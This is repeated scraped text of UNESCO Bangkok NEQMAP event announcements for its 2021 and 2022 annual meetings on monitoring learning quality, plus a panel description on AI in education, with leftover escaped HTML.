The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

